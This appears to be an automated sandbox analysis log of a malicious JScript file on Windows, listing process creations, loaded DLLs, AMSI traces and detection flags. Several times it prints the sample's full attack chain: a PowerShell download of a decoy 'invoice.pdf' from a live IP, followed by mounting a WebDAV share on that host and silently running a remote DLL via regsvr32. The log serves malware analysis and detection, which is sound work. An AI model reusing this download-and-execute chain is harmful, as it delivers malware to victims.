Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\281511335289626058.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2304 --field-trial-handle=1528,i,7476716239039598355,18098748400570435661,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2304 --field-trial-handle=1528,i,7476716239039598355,18098748400570435661,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6066.js.csv");ITextStream.WriteLine(" entry:7928 f:cmgagceox");ITextStream.WriteLine(" exec:2 f:cmgagceox");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
